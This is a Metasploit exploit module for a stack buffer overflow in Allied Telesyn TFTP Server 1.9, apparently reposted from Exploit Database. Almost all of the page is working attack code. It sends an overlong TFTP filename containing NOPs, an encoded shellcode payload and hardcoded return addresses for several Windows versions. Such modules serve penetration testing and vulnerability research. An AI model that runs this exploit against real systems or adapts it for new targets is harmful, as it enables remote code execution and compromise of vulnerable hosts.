Allied Telesyn TFTP (AT-TFTP) Server/Daemon 1.9 – Long Filename Overflow (Metasploit)

• Exploit Database
• 12 阅读

• 作者： Metasploit
  日期： 2011-03-05
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/16350/

• ##
  # $Id: attftp_long_filename.rb 11882 2011-03-05 21:00:57Z bannedit $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = AverageRanking
  
  	include Msf::Exploit::Remote::Udp
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'Allied Telesyn TFTP Server 1.9 Long Filename Overflow',
  			'Description'=> %q{
  					This module exploits a stack buffer overflow in AT-TFTP v1.9, by sending a
  				request (get/write) for an overly long file name.
  			},
  			'Author' => [ 'Patrick Webster <patrick[at]aushack.com>' ],
  			'Version'=> '$Revision: 11882 $',
  			'References' =>
  				[
  					['CVE', '2006-6184'],
  					['OSVDB', '11350'],
  					['BID', '21320'],
  					['URL','http://milw0rm.com/exploits/2887'],
  					['URL', 'ftp://guest:guest@ftp.alliedtelesyn.co.uk/pub/utilities/at-tftpd.exe'],
  				],
  			'DefaultOptions' =>
  				{
  					'EXITFUNC' => 'process',
  				},
  			'Payload'=>
  				{
  					'Space'=> 210,
  					'BadChars' => "\x00",
  					'StackAdjustment' => -3500,
  				},
  			'Platform' => 'win',
  			'Targets'=>
  				[
  				# Patrick - Tested OK w2k sp0, sp4, xp sp 0, xp sp2 - en 2007/08/24
  					[ 'Windows NT SP4 English', { 'Ret' => 0x702ea6f7 } ],
  					[ 'Windows 2000 SP0 English', { 'Ret' => 0x750362c3 } ],
  					[ 'Windows 2000 SP1 English', { 'Ret' => 0x75031d85 } ],
  					[ 'Windows 2000 SP2 English', { 'Ret' => 0x7503431b } ],
  					[ 'Windows 2000 SP3 English', { 'Ret' => 0x74fe1c5a } ],
  					[ 'Windows 2000 SP4 English', { 'Ret' => 0x75031dce } ],
  					[ 'Windows XP SP0/1 English', { 'Ret' => 0x71ab7bfb } ],
  					[ 'Windows XP SP2 English', { 'Ret' => 0x71ab9372 } ],
  					[ 'Windows Server 2003',{ 'Ret' => 0x7c86fed3 } ], # ret donated by securityxxxpert
  				],
  			'Privileged' => false,
  			'DisclosureDate' => 'Nov 27 2006'))
  
  		register_options(
  			[
  				Opt::RPORT(69),
  				Opt::LHOST() # Required for stack offset
  			], self.class)
  	end
  
  	def exploit
  		connect_udp
  
  		sploit = "\x00\x02" + make_nops(25 - datastore['LHOST'].length)
  		sploit << payload.encoded
  		sploit << [target['Ret']].pack('V') 	# <-- eip = jmp esp. we control it.
  		sploit << "\x83\xc4\x28\xc3" 		# <-- esp = add esp 0x28 + retn
  		sploit << "\x00" + "netascii" + "\x00"
  
  		udp_sock.put(sploit)
  
  		disconnect_udp
  	end
  
  end